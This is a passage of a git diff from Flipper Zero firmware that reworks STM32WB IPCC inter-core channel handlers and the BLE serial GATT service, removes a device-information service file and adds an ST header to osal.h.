LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_LLDTESTS_M0_CMD_CHANNEL); ++ return; ++} ++ ++void HW_IPCC_LLDTESTS_SendCliCmd(void) { ++ LL_C1_IPCC_SetFlag_CHx(IPCC, HW_IPCC_LLDTESTS_CLI_CMD_CHANNEL); ++ return; ++} ++ ++static void HW_IPCC_LLDTESTS_ReceiveCliRspHandler(void) { ++ LL_C1_IPCC_DisableReceiveChannel(IPCC, HW_IPCC_LLDTESTS_CLI_RSP_CHANNEL); ++ HW_IPCC_LLDTESTS_ReceiveCliRsp(); ++ return; ++} ++ ++void HW_IPCC_LLDTESTS_SendCliRspAck(void) { ++ LL_C1_IPCC_ClearFlag_CHx(IPCC, HW_IPCC_LLDTESTS_CLI_RSP_CHANNEL); ++ LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_LLDTESTS_CLI_RSP_CHANNEL); ++ return; ++} ++ ++static void HW_IPCC_LLDTESTS_ReceiveM0CmdHandler(void) { ++ LL_C1_IPCC_DisableReceiveChannel(IPCC, HW_IPCC_LLDTESTS_M0_CMD_CHANNEL); ++ HW_IPCC_LLDTESTS_ReceiveM0Cmd(); ++ return; ++} ++ ++void HW_IPCC_LLDTESTS_SendM0CmdAck(void) { ++ LL_C1_IPCC_ClearFlag_CHx(IPCC, HW_IPCC_LLDTESTS_M0_CMD_CHANNEL); ++ LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_LLDTESTS_M0_CMD_CHANNEL); ++ return; ++} ++__weak void HW_IPCC_LLDTESTS_ReceiveCliRsp(void){}; ++__weak void HW_IPCC_LLDTESTS_ReceiveM0Cmd(void){}; ++#endif /* LLD_TESTS_WB */ ++ ++/****************************************************************************** ++ * LLD BLE ++ ******************************************************************************/ ++#ifdef LLD_BLE_WB ++void HW_IPCC_LLD_BLE_Init(void) { ++ LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_LLD_BLE_RSP_CHANNEL); ++ LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_LLD_BLE_M0_CMD_CHANNEL); ++ return; ++} ++ ++void HW_IPCC_LLD_BLE_SendCliCmd(void) { ++ LL_C1_IPCC_SetFlag_CHx(IPCC, HW_IPCC_LLD_BLE_CLI_CMD_CHANNEL); ++ return; ++} ++ ++/*static void HW_IPCC_LLD_BLE_ReceiveCliRspHandler( void ) ++{ ++ LL_C1_IPCC_DisableReceiveChannel( IPCC, HW_IPCC_LLD_BLE_CLI_RSP_CHANNEL ); ++ HW_IPCC_LLD_BLE_ReceiveCliRsp(); ++ return; ++}*/ ++ ++void HW_IPCC_LLD_BLE_SendCliRspAck(void) { ++ LL_C1_IPCC_ClearFlag_CHx(IPCC, HW_IPCC_LLD_BLE_CLI_RSP_CHANNEL); ++ LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_LLD_BLE_CLI_RSP_CHANNEL); ++ return; ++} ++ ++static void HW_IPCC_LLD_BLE_ReceiveM0CmdHandler(void) { ++ //LL_C1_IPCC_DisableReceiveChannel( IPCC, HW_IPCC_LLD_BLE_M0_CMD_CHANNEL ); ++ HW_IPCC_LLD_BLE_ReceiveM0Cmd(); ++ return; ++} ++ ++void HW_IPCC_LLD_BLE_SendM0CmdAck(void) { ++ LL_C1_IPCC_ClearFlag_CHx(IPCC, HW_IPCC_LLD_BLE_M0_CMD_CHANNEL); ++ //LL_C1_IPCC_EnableReceiveChannel( IPCC, HW_IPCC_LLD_BLE_M0_CMD_CHANNEL ); ++ return; ++} ++__weak void HW_IPCC_LLD_BLE_ReceiveCliRsp(void){}; ++__weak void HW_IPCC_LLD_BLE_ReceiveM0Cmd(void){}; ++ ++/* Transparent Mode */ ++void HW_IPCC_LLD_BLE_SendCmd(void) { ++ LL_C1_IPCC_SetFlag_CHx(IPCC, HW_IPCC_LLD_BLE_CMD_CHANNEL); ++ return; ++} ++ ++static void HW_IPCC_LLD_BLE_ReceiveRspHandler(void) { ++ LL_C1_IPCC_DisableReceiveChannel(IPCC, HW_IPCC_LLD_BLE_RSP_CHANNEL); ++ HW_IPCC_LLD_BLE_ReceiveRsp(); ++ return; ++} ++ ++void HW_IPCC_LLD_BLE_SendRspAck(void) { ++ LL_C1_IPCC_ClearFlag_CHx(IPCC, HW_IPCC_LLD_BLE_RSP_CHANNEL); ++ LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_LLD_BLE_RSP_CHANNEL); ++ return; ++} ++ ++#endif /* LLD_BLE_WB */ ++ ++/****************************************************************************** ++ * ZIGBEE ++ ******************************************************************************/ ++#ifdef ZIGBEE_WB ++void HW_IPCC_ZIGBEE_Init(void) { ++ LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_ZIGBEE_APPLI_NOTIF_ACK_CHANNEL); ++ LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_ZIGBEE_M0_REQUEST_CHANNEL); ++ ++ return; ++} ++ ++void HW_IPCC_ZIGBEE_SendM4RequestToM0(void) { ++ LL_C1_IPCC_SetFlag_CHx(IPCC, HW_IPCC_ZIGBEE_CMD_APPLI_CHANNEL); ++ LL_C1_IPCC_EnableTransmitChannel(IPCC, HW_IPCC_ZIGBEE_CMD_APPLI_CHANNEL); ++ ++ return; ++} ++ ++void HW_IPCC_ZIGBEE_SendM4AckToM0Notify(void) { ++ LL_C1_IPCC_ClearFlag_CHx(IPCC, HW_IPCC_ZIGBEE_APPLI_NOTIF_ACK_CHANNEL); ++ LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_ZIGBEE_APPLI_NOTIF_ACK_CHANNEL); ++ ++ return; ++} ++ ++static void HW_IPCC_ZIGBEE_CmdEvtHandler(void) { ++ LL_C1_IPCC_DisableTransmitChannel(IPCC, HW_IPCC_ZIGBEE_CMD_APPLI_CHANNEL); ++ ++ HW_IPCC_ZIGBEE_RecvAppliAckFromM0(); ++ ++ return; ++} ++ ++static void HW_IPCC_ZIGBEE_StackNotifEvtHandler(void) { ++ LL_C1_IPCC_DisableReceiveChannel(IPCC, HW_IPCC_ZIGBEE_APPLI_NOTIF_ACK_CHANNEL); ++ ++ HW_IPCC_ZIGBEE_RecvM0NotifyToM4(); ++ ++ return; ++} ++ ++static void HW_IPCC_ZIGBEE_StackM0RequestHandler(void) { ++ LL_C1_IPCC_DisableReceiveChannel(IPCC, HW_IPCC_ZIGBEE_M0_REQUEST_CHANNEL); ++ ++ HW_IPCC_ZIGBEE_RecvM0RequestToM4(); ++ ++ return; ++} ++ ++void HW_IPCC_ZIGBEE_SendM4AckToM0Request(void) { ++ LL_C1_IPCC_ClearFlag_CHx(IPCC, HW_IPCC_ZIGBEE_M0_REQUEST_CHANNEL); ++ LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_ZIGBEE_M0_REQUEST_CHANNEL); ++ ++ return; ++} ++ ++__weak void HW_IPCC_ZIGBEE_RecvAppliAckFromM0(void){}; ++__weak void HW_IPCC_ZIGBEE_RecvM0NotifyToM4(void){}; ++__weak void HW_IPCC_ZIGBEE_RecvM0RequestToM4(void){}; ++#endif /* ZIGBEE_WB */ ++ ++/****************************************************************************** ++ * MEMORY MANAGER ++ ******************************************************************************/ ++void HW_IPCC_MM_SendFreeBuf(void (*cb)(void)) { + if(LL_C1_IPCC_IsActiveFlag_CHx(IPCC, HW_IPCC_MM_RELEASE_BUFFER_CHANNEL)) { + FreeBufCb = cb; + LL_C1_IPCC_EnableTransmitChannel(IPCC, HW_IPCC_MM_RELEASE_BUFFER_CHANNEL); +@@ -143,22 +557,37 @@ void HW_IPCC_MM_SendFreeBuf(void (*cb)()) { + + LL_C1_IPCC_SetFlag_CHx(IPCC, HW_IPCC_MM_RELEASE_BUFFER_CHANNEL); + } ++ ++ return; + } + +-static void HW_IPCC_MM_FreeBufHandler() { ++static void HW_IPCC_MM_FreeBufHandler(void) { + LL_C1_IPCC_DisableTransmitChannel(IPCC, HW_IPCC_MM_RELEASE_BUFFER_CHANNEL); + + FreeBufCb(); + + LL_C1_IPCC_SetFlag_CHx(IPCC, HW_IPCC_MM_RELEASE_BUFFER_CHANNEL); ++ ++ return; + } + +-void HW_IPCC_TRACES_Init() { ++/****************************************************************************** ++ * TRACES ++ ******************************************************************************/ ++void HW_IPCC_TRACES_Init(void) { + LL_C1_IPCC_EnableReceiveChannel(IPCC, HW_IPCC_TRACES_CHANNEL); ++ ++ return; + } + +-static void HW_IPCC_TRACES_EvtHandler() { ++static void HW_IPCC_TRACES_EvtHandler(void) { + HW_IPCC_TRACES_EvtNot(); + + LL_C1_IPCC_ClearFlag_CHx(IPCC, HW_IPCC_TRACES_CHANNEL); ++ ++ return; + } ++ ++__weak void HW_IPCC_TRACES_EvtNot(void){}; ++ ++/******************* (C) COPYRIGHT 2019 STMicroelectronics *****END OF FILE****/ +diff --git a/firmware/targets/f7/ble_glue/osal.h b/firmware/targets/f7/ble_glue/osal.h +index 0cde06179..e5e0c4f68 100644 +--- a/firmware/targets/f7/ble_glue/osal.h ++++ b/firmware/targets/f7/ble_glue/osal.h +@@ -1,4 +1,25 @@ +-#pragma once ++/***************************************************************************** ++ * @file osal.h ++ * @author MDG ++ * @brief This header file defines the OS abstraction layer used by ++ * the BLE stack. OSAL defines the set of functions which needs to be ++ * ported to target operating system and target platform. ++ * Actually, only memset, memcpy and memcmp wrappers are defined. ++ ***************************************************************************** ++ * @attention ++ * ++ * Copyright (c) 2018-2022 STMicroelectronics. ++ * All rights reserved. ++ * ++ * This software is licensed under terms that can be found in the LICENSE file ++ * in the root directory of this software component. ++ * If no LICENSE file comes with this software, it is provided AS-IS. ++ * ++ ***************************************************************************** ++ */ ++ ++#ifndef OSAL_H__ ++#define OSAL_H__ + + /** + * This function copies size number of bytes from a +@@ -38,3 +59,5 @@ extern void* Osal_MemSet(void* ptr, int value, unsigned int size); + * @return 0 if the two buffers are equal, 1 otherwise + */ + extern int Osal_MemCmp(const void* s1, const void* s2, unsigned int size); ++ ++#endif /* OSAL_H__ */ +diff --git a/firmware/targets/f7/ble_glue/services/serial_service.c b/firmware/targets/f7/ble_glue/serial_service.c +similarity index 57% +rename from firmware/targets/f7/ble_glue/services/serial_service.c +rename to firmware/targets/f7/ble_glue/serial_service.c +index 0db25b3d3..c6421dc28 100644 +--- a/firmware/targets/f7/ble_glue/services/serial_service.c ++++ b/firmware/targets/f7/ble_glue/serial_service.c +@@ -1,67 +1,17 @@ + #include "serial_service.h" + #include "app_common.h" + #include +-#include "gatt_char.h" + + #include + +-#include "serial_service_uuid.inc" +- + #define TAG "BtSerialSvc" + +-typedef enum { +- SerialSvcGattCharacteristicRx = 0, +- SerialSvcGattCharacteristicTx, +- SerialSvcGattCharacteristicFlowCtrl, +- SerialSvcGattCharacteristicStatus, +- SerialSvcGattCharacteristicCount, +-} SerialSvcGattCharacteristicId; +- +-static const FlipperGattCharacteristicParams serial_svc_chars[SerialSvcGattCharacteristicCount] = { +- [SerialSvcGattCharacteristicRx] = +- {.name = "RX", +- .data_prop_type = FlipperGattCharacteristicDataFixed, +- .data.fixed.length = SERIAL_SVC_DATA_LEN_MAX, +- .uuid.Char_UUID_128 = SERIAL_SVC_RX_CHAR_UUID, +- .uuid_type = UUID_TYPE_128, +- .char_properties = CHAR_PROP_WRITE_WITHOUT_RESP | CHAR_PROP_WRITE | CHAR_PROP_READ, +- .security_permissions = ATTR_PERMISSION_AUTHEN_READ | ATTR_PERMISSION_AUTHEN_WRITE, +- .gatt_evt_mask = GATT_NOTIFY_ATTRIBUTE_WRITE, +- .is_variable = CHAR_VALUE_LEN_VARIABLE}, +- [SerialSvcGattCharacteristicTx] = +- {.name = "TX", +- .data_prop_type = FlipperGattCharacteristicDataFixed, +- .data.fixed.length = SERIAL_SVC_DATA_LEN_MAX, +- .uuid.Char_UUID_128 = SERIAL_SVC_TX_CHAR_UUID, +- .uuid_type = UUID_TYPE_128, +- .char_properties = CHAR_PROP_READ | CHAR_PROP_INDICATE, +- .security_permissions = ATTR_PERMISSION_AUTHEN_READ, +- .gatt_evt_mask = GATT_DONT_NOTIFY_EVENTS, +- .is_variable = CHAR_VALUE_LEN_VARIABLE}, +- [SerialSvcGattCharacteristicFlowCtrl] = +- {.name = "Flow control", +- .data_prop_type = FlipperGattCharacteristicDataFixed, +- .data.fixed.length = sizeof(uint32_t), +- .uuid.Char_UUID_128 = SERIAL_SVC_FLOW_CONTROL_UUID, +- .uuid_type = UUID_TYPE_128, +- .char_properties = CHAR_PROP_READ | CHAR_PROP_NOTIFY, +- .security_permissions = ATTR_PERMISSION_AUTHEN_READ, +- .gatt_evt_mask = GATT_DONT_NOTIFY_EVENTS, +- .is_variable = CHAR_VALUE_LEN_CONSTANT}, +- [SerialSvcGattCharacteristicStatus] = { +- .name = "RPC status", +- .data_prop_type = FlipperGattCharacteristicDataFixed, +- .data.fixed.length = sizeof(SerialServiceRpcStatus), +- .uuid.Char_UUID_128 = SERIAL_SVC_RPC_STATUS_UUID, +- .uuid_type = UUID_TYPE_128, +- .char_properties = CHAR_PROP_READ | CHAR_PROP_WRITE | CHAR_PROP_NOTIFY, +- .security_permissions = ATTR_PERMISSION_AUTHEN_READ | ATTR_PERMISSION_AUTHEN_WRITE, +- .gatt_evt_mask = GATT_NOTIFY_ATTRIBUTE_WRITE, +- .is_variable = CHAR_VALUE_LEN_CONSTANT}}; +- + typedef struct { + uint16_t svc_handle; +- FlipperGattCharacteristicInstance chars[SerialSvcGattCharacteristicCount]; ++ uint16_t rx_char_handle; ++ uint16_t tx_char_handle; ++ uint16_t flow_ctrl_char_handle; ++ uint16_t rpc_status_char_handle; + FuriMutex* buff_size_mtx; + uint32_t buff_size; + uint16_t bytes_ready_to_receive; +@@ -71,6 +21,17 @@ typedef struct { + + static SerialSvc* serial_svc = NULL; + ++static const uint8_t service_uuid[] = ++ {0x00, 0x00, 0xfe, 0x60, 0xcc, 0x7a, 0x48, 0x2a, 0x98, 0x4a, 0x7f, 0x2e, 0xd5, 0xb3, 0xe5, 0x8f}; ++static const uint8_t char_tx_uuid[] = ++ {0x00, 0x00, 0xfe, 0x61, 0x8e, 0x22, 0x45, 0x41, 0x9d, 0x4c, 0x21, 0xed, 0xae, 0x82, 0xed, 0x19}; ++static const uint8_t char_rx_uuid[] = ++ {0x00, 0x00, 0xfe, 0x62, 0x8e, 0x22, 0x45, 0x41, 0x9d, 0x4c, 0x21, 0xed, 0xae, 0x82, 0xed, 0x19}; ++static const uint8_t flow_ctrl_uuid[] = ++ {0x00, 0x00, 0xfe, 0x63, 0x8e, 0x22, 0x45, 0x41, 0x9d, 0x4c, 0x21, 0xed, 0xae, 0x82, 0xed, 0x19}; ++static const uint8_t rpc_status_uuid[] = ++ {0x00, 0x00, 0xfe, 0x64, 0x8e, 0x22, 0x45, 0x41, 0x9d, 0x4c, 0x21, 0xed, 0xae, 0x82, 0xed, 0x19}; ++ + static SVCCTL_EvtAckStatus_t serial_svc_event_handler(void* event) { + SVCCTL_EvtAckStatus_t ret = SVCCTL_EvtNotAck; + hci_event_pckt* event_pckt = (hci_event_pckt*)(((hci_uart_pckt*)event)->data); +@@ -79,14 +40,11 @@ static SVCCTL_EvtAckStatus_t serial_svc_event_handler(void* event) { + if(event_pckt->evt == HCI_VENDOR_SPECIFIC_DEBUG_EVT_CODE) { + if(blecore_evt->ecode == ACI_GATT_ATTRIBUTE_MODIFIED_VSEVT_CODE) { + attribute_modified = (aci_gatt_attribute_modified_event_rp0*)blecore_evt->data; +- if(attribute_modified->Attr_Handle == +- serial_svc->chars[SerialSvcGattCharacteristicRx].handle + 2) { ++ if(attribute_modified->Attr_Handle == serial_svc->rx_char_handle + 2) { + // Descriptor handle + ret = SVCCTL_EvtAckFlowEnable; + FURI_LOG_D(TAG, "RX descriptor event"); +- } else if( +- attribute_modified->Attr_Handle == +- serial_svc->chars[SerialSvcGattCharacteristicRx].handle + 1) { ++ } else if(attribute_modified->Attr_Handle == serial_svc->rx_char_handle + 1) { + FURI_LOG_D(TAG, "Received %d bytes", attribute_modified->Attr_Data_Length); + if(serial_svc->callback) { + furi_check( +@@ -112,9 +70,7 @@ static SVCCTL_EvtAckStatus_t serial_svc_event_handler(void* event) { + furi_check(furi_mutex_release(serial_svc->buff_size_mtx) == FuriStatusOk); + } + ret = SVCCTL_EvtAckFlowEnable; +- } else if( +- attribute_modified->Attr_Handle == +- serial_svc->chars[SerialSvcGattCharacteristicStatus].handle + 1) { ++ } else if(attribute_modified->Attr_Handle == serial_svc->rpc_status_char_handle + 1) { + SerialServiceRpcStatus* rpc_status = + (SerialServiceRpcStatus*)attribute_modified->Attr_Data; + if(*rpc_status == SerialServiceRpcStatusNotActive) { +@@ -141,12 +97,18 @@ static SVCCTL_EvtAckStatus_t serial_svc_event_handler(void* event) { + } + + static void serial_svc_update_rpc_char(SerialServiceRpcStatus status) { +- flipper_gatt_characteristic_update( +- serial_svc->svc_handle, &serial_svc->chars[SerialSvcGattCharacteristicStatus], &status); ++ tBleStatus ble_status = aci_gatt_update_char_value( ++ serial_svc->svc_handle, ++ serial_svc->rpc_status_char_handle, ++ 0, ++ sizeof(SerialServiceRpcStatus), ++ (uint8_t*)&status); ++ if(ble_status) { ++ FURI_LOG_E(TAG, "Failed to update RPC status char: %d", ble_status); ++ } + } + + void serial_svc_start() { +- UNUSED(serial_svc_chars); + tBleStatus status; + serial_svc = malloc(sizeof(SerialSvc)); + // Register event handler +@@ -154,17 +116,72 @@ void serial_svc_start() { + + // Add service + status = aci_gatt_add_service( +- UUID_TYPE_128, &service_uuid, PRIMARY_SERVICE, 12, &serial_svc->svc_handle); ++ UUID_TYPE_128, (Service_UUID_t*)service_uuid, PRIMARY_SERVICE, 12, &serial_svc->svc_handle); + if(status) { + FURI_LOG_E(TAG, "Failed to add Serial service: %d", status); + } + +- // Add characteristics +- for(uint8_t i = 0; i < SerialSvcGattCharacteristicCount; i++) { +- flipper_gatt_characteristic_init( +- serial_svc->svc_handle, &serial_svc_chars[i], &serial_svc->chars[i]); ++ // Add RX characteristics ++ status = aci_gatt_add_char( ++ serial_svc->svc_handle, ++ UUID_TYPE_128, ++ (const Char_UUID_t*)char_rx_uuid, ++ SERIAL_SVC_DATA_LEN_MAX, ++ CHAR_PROP_WRITE_WITHOUT_RESP | CHAR_PROP_WRITE | CHAR_PROP_READ, ++ ATTR_PERMISSION_AUTHEN_READ | ATTR_PERMISSION_AUTHEN_WRITE, ++ GATT_NOTIFY_ATTRIBUTE_WRITE, ++ 10, ++ CHAR_VALUE_LEN_VARIABLE, ++ &serial_svc->rx_char_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to add RX characteristic: %d", status); + } + ++ // Add TX characteristic ++ status = aci_gatt_add_char( ++ serial_svc->svc_handle, ++ UUID_TYPE_128, ++ (const Char_UUID_t*)char_tx_uuid, ++ SERIAL_SVC_DATA_LEN_MAX, ++ CHAR_PROP_READ | CHAR_PROP_INDICATE, ++ ATTR_PERMISSION_AUTHEN_READ, ++ GATT_DONT_NOTIFY_EVENTS, ++ 10, ++ CHAR_VALUE_LEN_VARIABLE, ++ &serial_svc->tx_char_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to add TX characteristic: %d", status); ++ } ++ // Add Flow Control characteristic ++ status = aci_gatt_add_char( ++ serial_svc->svc_handle, ++ UUID_TYPE_128, ++ (const Char_UUID_t*)flow_ctrl_uuid, ++ sizeof(uint32_t), ++ CHAR_PROP_READ | CHAR_PROP_NOTIFY, ++ ATTR_PERMISSION_AUTHEN_READ, ++ GATT_DONT_NOTIFY_EVENTS, ++ 10, ++ CHAR_VALUE_LEN_CONSTANT, ++ &serial_svc->flow_ctrl_char_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to add Flow Control characteristic: %d", status); ++ } ++ // Add RPC status characteristic ++ status = aci_gatt_add_char( ++ serial_svc->svc_handle, ++ UUID_TYPE_128, ++ (const Char_UUID_t*)rpc_status_uuid, ++ sizeof(SerialServiceRpcStatus), ++ CHAR_PROP_READ | CHAR_PROP_WRITE | CHAR_PROP_NOTIFY, ++ ATTR_PERMISSION_AUTHEN_READ | ATTR_PERMISSION_AUTHEN_WRITE, ++ GATT_NOTIFY_ATTRIBUTE_WRITE, ++ 10, ++ CHAR_VALUE_LEN_CONSTANT, ++ &serial_svc->rpc_status_char_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to add RPC status characteristic: %d", status); ++ } + serial_svc_update_rpc_char(SerialServiceRpcStatusNotActive); + // Allocate buffer size mutex + serial_svc->buff_size_mtx = furi_mutex_alloc(FuriMutexTypeNormal); +@@ -179,12 +196,13 @@ void serial_svc_set_callbacks( + serial_svc->context = context; + serial_svc->buff_size = buff_size; + serial_svc->bytes_ready_to_receive = buff_size; +- + uint32_t buff_size_reversed = REVERSE_BYTES_U32(serial_svc->buff_size); +- flipper_gatt_characteristic_update( ++ aci_gatt_update_char_value( + serial_svc->svc_handle, +- &serial_svc->chars[SerialSvcGattCharacteristicFlowCtrl], +- &buff_size_reversed); ++ serial_svc->flow_ctrl_char_handle, ++ 0, ++ sizeof(uint32_t), ++ (uint8_t*)&buff_size_reversed); + } + + void serial_svc_notify_buffer_is_empty() { +@@ -195,12 +213,13 @@ void serial_svc_notify_buffer_is_empty() { + if(serial_svc->bytes_ready_to_receive == 0) { + FURI_LOG_D(TAG, "Buffer is empty. Notifying client"); + serial_svc->bytes_ready_to_receive = serial_svc->buff_size; +- + uint32_t buff_size_reversed = REVERSE_BYTES_U32(serial_svc->buff_size); +- flipper_gatt_characteristic_update( ++ aci_gatt_update_char_value( + serial_svc->svc_handle, +- &serial_svc->chars[SerialSvcGattCharacteristicFlowCtrl], +- &buff_size_reversed); ++ serial_svc->flow_ctrl_char_handle, ++ 0, ++ sizeof(uint32_t), ++ (uint8_t*)&buff_size_reversed); + } + furi_check(furi_mutex_release(serial_svc->buff_size_mtx) == FuriStatusOk); + } +@@ -208,8 +227,22 @@ void serial_svc_notify_buffer_is_empty() { + void serial_svc_stop() { + tBleStatus status; + if(serial_svc) { +- for(uint8_t i = 0; i < SerialSvcGattCharacteristicCount; i++) { +- flipper_gatt_characteristic_delete(serial_svc->svc_handle, &serial_svc->chars[i]); ++ // Delete characteristics ++ status = aci_gatt_del_char(serial_svc->svc_handle, serial_svc->tx_char_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to delete TX characteristic: %d", status); ++ } ++ status = aci_gatt_del_char(serial_svc->svc_handle, serial_svc->rx_char_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to delete RX characteristic: %d", status); ++ } ++ status = aci_gatt_del_char(serial_svc->svc_handle, serial_svc->flow_ctrl_char_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to delete Flow Control characteristic: %d", status); ++ } ++ status = aci_gatt_del_char(serial_svc->svc_handle, serial_svc->rpc_status_char_handle); ++ if(status) { ++ FURI_LOG_E(TAG, "Failed to delete RPC Status characteristic: %d", status); + } + // Delete service + status = aci_gatt_del_service(serial_svc->svc_handle); +@@ -240,7 +273,7 @@ bool serial_svc_update_tx(uint8_t* data, uint16_t data_len) { + tBleStatus result = aci_gatt_update_char_value_ext( + 0, + serial_svc->svc_handle, +- serial_svc->chars[SerialSvcGattCharacteristicTx].handle, ++ serial_svc->tx_char_handle, + remained ? 0x00 : 0x02, + data_len, + value_offset, +diff --git a/firmware/targets/f7/ble_glue/services/serial_service.h b/firmware/targets/f7/ble_glue/serial_service.h +similarity index 100% +rename from firmware/targets/f7/ble_glue/services/serial_service.h +rename to firmware/targets/f7/ble_glue/serial_service.h +diff --git a/firmware/targets/f7/ble_glue/services/dev_info_service.c b/firmware/targets/f7/ble_glue/services/dev_info_service.c +deleted file mode 100644 +index 5bee97b41..000000000 +--- a/firmware/targets/f7/ble_glue/services/dev_info_service.c ++++ /dev/null +@@ -1,176 +0,0 @@ +-#include "dev_info_service.h" +-#include "app_common.h" +-#include "gatt_char.h" +-#include +- +-#include +-#include +-#include +- +-#include "dev_info_service_uuid.inc" +- +-#define TAG "BtDevInfoSvc" +- +-typedef enum { +- DevInfoSvcGattCharacteristicMfgName = 0, +- DevInfoSvcGattCharacteristicSerial, +- DevInfoSvcGattCharacteristicFirmwareRev, +- DevInfoSvcGattCharacteristicSoftwareRev, +- DevInfoSvcGattCharacteristicRpcVersion, +- DevInfoSvcGattCharacteristicCount, +-} DevInfoSvcGattCharacteristicId; +- +-#define DEVICE_INFO_HARDWARE_REV_SIZE 4 +-typedef struct { +- uint16_t service_handle; +- FlipperGattCharacteristicInstance characteristics[DevInfoSvcGattCharacteristicCount]; +- FuriString* version_string; +- char hardware_revision[DEVICE_INFO_HARDWARE_REV_SIZE]; +-} DevInfoSvc; +- +-static DevInfoSvc* dev_info_svc = NULL; +- +-static const char dev_info_man_name[] = "Flipper Devices Inc."; +-static const char dev_info_serial_num[] = "1.0"; +-static const char dev_info_rpc_version[] = TOSTRING(PROTOBUF_MAJOR_VERSION.PROTOBUF_MINOR_VERSION); +- +-static bool dev_info_char_firmware_rev_callback( +- const void* context, +- const uint8_t** data, +- uint16_t* data_len) { +- const DevInfoSvc* dev_info_svc = *(DevInfoSvc**)context; +- *data_len = sizeof(dev_info_svc->hardware_revision); +- if(data) { +- *data = (const uint8_t*)&dev_info_svc->hardware_revision; +- } +- return false; +-} +- +-static bool dev_info_char_software_rev_callback( +- const void* context, +- const uint8_t** data, +- uint16_t* data_len) { +- const DevInfoSvc* dev_info_svc = *(DevInfoSvc**)context; +- *data_len = furi_string_size(dev_info_svc->version_string); +- if(data) { +- *data = (const uint8_t*)furi_string_get_cstr(dev_info_svc->version_string); +- } +- return false; +-} +- +-static const FlipperGattCharacteristicParams dev_info_svc_chars[DevInfoSvcGattCharacteristicCount] = +- {[DevInfoSvcGattCharacteristicMfgName] = +- {.name = "Manufacturer Name", +- .data_prop_type = FlipperGattCharacteristicDataFixed, +- .data.fixed.length = sizeof(dev_info_man_name) - 1, +- .data.fixed.ptr = (const uint8_t*)&dev_info_man_name, +- .uuid.Char_UUID_16 = MANUFACTURER_NAME_UUID, +- .uuid_type = UUID_TYPE_16, +- .char_properties = CHAR_PROP_READ, +- .security_permissions = ATTR_PERMISSION_AUTHEN_READ, +- .gatt_evt_mask = GATT_DONT_NOTIFY_EVENTS, +- .is_variable = CHAR_VALUE_LEN_CONSTANT}, +- [DevInfoSvcGattCharacteristicSerial] = +- {.name = "Serial Number", +- .data_prop_type = FlipperGattCharacteristicDataFixed, +- .data.fixed.length = sizeof(dev_info_serial_num) - 1, +- .data.fixed.ptr = (const uint8_t*)&dev_info_serial_num, +- .uuid.Char_UUID_16 = SERIAL_NUMBER_UUID, +- .uuid_type = UUID_TYPE_16, +- .char_properties = CHAR_PROP_READ, +- .security_permissions = ATTR_PERMISSION_AUTHEN_READ, +- .gatt_evt_mask = GATT_DONT_NOTIFY_EVENTS, +- .is_variable = CHAR_VALUE_LEN_CONSTANT}, +- [DevInfoSvcGattCharacteristicFirmwareRev] = +- {.name = "Firmware Revision", +- .data_prop_type = FlipperGattCharacteristicDataCallback, +- .data.callback.context = &dev_info_svc, +- .data.callback.fn = dev_info_char_firmware_rev_callback, +- .uuid.Char_UUID_16 = FIRMWARE_REVISION_UUID, +- .uuid_type = UUID_TYPE_16, +- .char_properties = CHAR_PROP_READ, +- .security_permissions = ATTR_PERMISSION_AUTHEN_READ, +- .gatt_evt_mask = GATT_DONT_NOTIFY_EVENTS, +- .is_variable = CHAR_VALUE_LEN_CONSTANT}, +- [DevInfoSvcGattCharacteristicSoftwareRev] = +- {.name = "Software Revision", +- .data_prop_type = FlipperGattCharacteristicDataCallback, +- .data.callback.context = &dev_info_svc, +- .data.callback.fn = dev_info_char_software_rev_callback, +- .uuid.Char_UUID_16 = SOFTWARE_REVISION_UUID, +- .uuid_type = UUID_TYPE_16, +- .char_properties = CHAR_PROP_READ, +- .security_permissions = ATTR_PERMISSION_AUTHEN_READ, +- .gatt_evt_mask = GATT_DONT_NOTIFY_EVENTS, +- .is_variable = CHAR_VALUE_LEN_CONSTANT}, +- [DevInfoSvcGattCharacteristicRpcVersion] = { +- .name = "RPC Version", +- .data_prop_type = FlipperGattCharacteristicDataFixed, +- .data.fixed.length = sizeof(dev_info_rpc_version) - 1, +- .data.fixed.ptr = (const uint8_t*)&dev_info_rpc_version, +- .uuid.Char_UUID_128 = DEV_INVO_RPC_VERSION_UID, +- .uuid_type = UUID_TYPE_128, +- .char_properties = CHAR_PROP_READ, +- .security_permissions = ATTR_PERMISSION_AUTHEN_READ, +- .gatt_evt_mask = GATT_DONT_NOTIFY_EVENTS, +- .is_variable = CHAR_VALUE_LEN_CONSTANT}}; +- +-void dev_info_svc_start() { +- dev_info_svc = malloc(sizeof(DevInfoSvc)); +- dev_info_svc->version_string = furi_string_alloc_printf( +- "%s %s %s %s", +- version_get_githash(NULL), +- version_get_version(NULL), +- version_get_gitbranchnum(NULL), +- version_get_builddate(NULL)); +- snprintf( +- dev_info_svc->hardware_revision, +- sizeof(dev_info_svc->hardware_revision), +- "%d", +- version_get_target(NULL)); +- tBleStatus status; +- +- // Add Device Information Service +- uint16_t uuid = DEVICE_INFORMATION_SERVICE_UUID; +- status = aci_gatt_add_service( +- UUID_TYPE_16, +- (Service_UUID_t*)&uuid, +- PRIMARY_SERVICE, +- 1 + 2 * DevInfoSvcGattCharacteristicCount, +- &dev_info_svc->service_handle); +- if(status) { +- FURI_LOG_E(TAG, "Failed to add Device Information Service: %d", status); +- } +- +- for(size_t i = 0; i < DevInfoSvcGattCharacteristicCount; i++) { +- flipper_gatt_characteristic_init( +- dev_info_svc->service_handle, +- &dev_info_svc_chars[i], +- 